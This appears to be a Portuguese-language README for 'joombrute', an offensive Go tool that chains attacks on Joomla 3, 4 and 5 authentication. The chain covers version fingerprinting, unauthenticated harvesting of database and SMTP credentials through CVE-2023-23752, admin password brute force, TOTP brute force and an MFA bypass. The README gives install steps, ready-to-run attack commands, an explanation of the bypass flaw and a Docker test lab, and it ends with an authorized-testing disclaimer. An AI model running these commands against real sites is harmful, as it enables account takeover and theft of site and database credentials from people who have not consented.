
Kit de ataque de autenticação Joomla moderno J3 / J4 / J5 - CVE-2023-23752 · CVE-2023-23755 · CVE-2025-25227

Kit de ataque moderno contra autenticação Joomla
J3 / J4 / J5 - CVE-2023-23752 · CVE-2023-23755 · CVE-2025-25227
Kit de ataque a credenciais Joomla cobrindo as versões 3, 4 e 5 do CMS. Seis subcomandos tratam de toda a cadeia de ataque ponta a ponta:
detect - impressão digital da versão (manifesto XML → meta generator → marcação admin)enum - CVE-2023-23752 coleta não autenticada pela API: nomes de usuário, host/usuário/senha do banco, credenciais SMTP, segredo da aplicaçãobrute - força bruta concorrente no login admin com isolamento de sessão por worker e classificação em quatro resultados (sucesso / mfa-exigido / inválido / bloqueado)mfa-brute - CVE-2023-23755 ataque exaustivo de TOTP de 6 dígitos contra a tela MFA cativamfa-bypass - CVE-2025-25227 bypass de MFA via view=methods (e outras quatro views/tasks candidatas) na sessão meio-autenticadachain - piloto automático completo: detect → enum → brute → desvio automático de MFA quando o brute encontrar uma tela cativaBinário estático único, sem dependências em tempo de execução. Concorrência nativa com goroutines e cookies jars por worker. Saída JSONL para ingestão em SIEM. Suporte a proxy HTTP/HTTPS/SOCKS5. Verificado ponta a ponta contra laboratórios Docker do Joomla 3.10, 4.2.7 e 5.4.6.
# Opção A - Instalação via Go (requer Go 1.22+)
go install github.com/rvzsec/joombrute/cmd/joombrute@latest
# Opção B - Binário pré-compilado dos releases
curl -L -o joombrute https://github.com/rvzsec/joombrute/releases/latest/download/joombrute-linux-amd64
chmod +x joombrute
# Opção C - Compilação a partir do código-fonte
git clone https://github.com/rvzsec/joombrute
cd joombrute
make
joombrute detect -u <target>
joombrute enum -u <target>
joombrute brute -u <target> --user admin -w rockyou.txt -c 20
joombrute mfa-brute -u <target> --user admin --password <pw> -c 50
joombrute mfa-bypass -u <target> --user admin --password <pw>
joombrute chain -u <target> -w rockyou.txt -c 20
# Saída JSONL para piping / ingestão em SIEM
joombrute --json brute -u <target> --user admin -w rockyou.txt > hits.jsonl
CVE-2025-25227 explora o método MultiFactorAuthenticationHandler::needsMultiFactorAuthenticationRedirection() que chama isMultiFactorAuthenticationPage() sem a flag $onlyCaptive - a lista de isenção de bypass inclui silenciosamente views de gerenciamento de MFA (view=methods, view=method, view=callback, task=method.add …) que uma sessão meio-autenticada pode navegar sem resolver o desafio cativo.
detect - impressão digital via manifesto joomla.xml → <meta name="generator"> → marcação adminenum - CVE-2023-23752 coleta não autenticada via API (usuários, host/usuário/senha do banco, SMTP, segredo da app)brute - força bruta no formulário admin, isolamento de sessão por worker, classificação em quatro resultados (success / mfa-required / invalid / blocked)mfa-brute - CVE-2023-23755 TOTP de 6 dígitos na tela cativamfa-bypass - CVE-2025-25227 sonda de bypass de verificação de estado (não destrutivo)chain - automático completo: detect → enum → brute → sonda de bypass de MFAmake lab # docker compose up + seed J3.10 / J4.2.7 / J5.x com usuário admin
make smoke # ponta a ponta contra todos os três (sem MFA)
make lab-mfa # seed de um segredo TOTP conhecido no admin J4 (para testes mfa-*)
make smoke-mfa # brute -> mfa-required, mfa-bypass VULN, chain auto-pivot
make lab-mfa-off # remove o registro MFA (volta ao admin comum)
make lab-down # derruba tudo
O instalador do laboratório ignora o instalador web do Joomla por completo - carrega o SQL de instalação diretamente no MySQL, insere um usuário admin (admin / admin1234), escreve um configuration.php mínimo. O seed_mfa.php usa a própria criptografia AES-128-CBC + chave secreta do Joomla para que o endpoint cativo o descriptografe corretamente. Apenas para laboratório - ambos os scripts assumem os nomes de contêiner padrão joombrute-* do lab/docker-compose.yml.
make all
# produz dist/joombrute-{linux,darwin,windows}-{amd64,arm64} estaticamente vinculado
Apenas testes de segurança autorizados. Execute apenas contra sistemas para os quais você tenha permissão explícita por escrito. Gera tráfego que qualquer IDS detectará. Os mantenedores se isentam de toda responsabilidade por mau uso.
Ravindu Wickramasinghe | rvz (@rvzsec) · www.zyenra.com
Conceito original de brute no Joomla 3: @ajnik Pesquisa sobre a cadeia CVE-2023-23752: VulnCheck
| CVE | Versões afetadas | Modo | Corrigido em | Verificado em laboratório |
|---|
| CVE-2023-23752 | 4.0.0 - 4.2.7 | enum | 4.2.8 (2023-02) | ✅ J4.2.7 |
| CVE-2023-23755 | 4.2.0 - 4.3.1 | mfa-brute | 4.3.2 (2023-05) | ✅ J4.2.7 |
| CVE-2025-25227 | 4.0.0 - 4.4.12, 5.0.0 - 5.2.5 | mfa-bypass | 4.4.13 / 5.2.6 (2025-04) | ✅ J4.2.7 |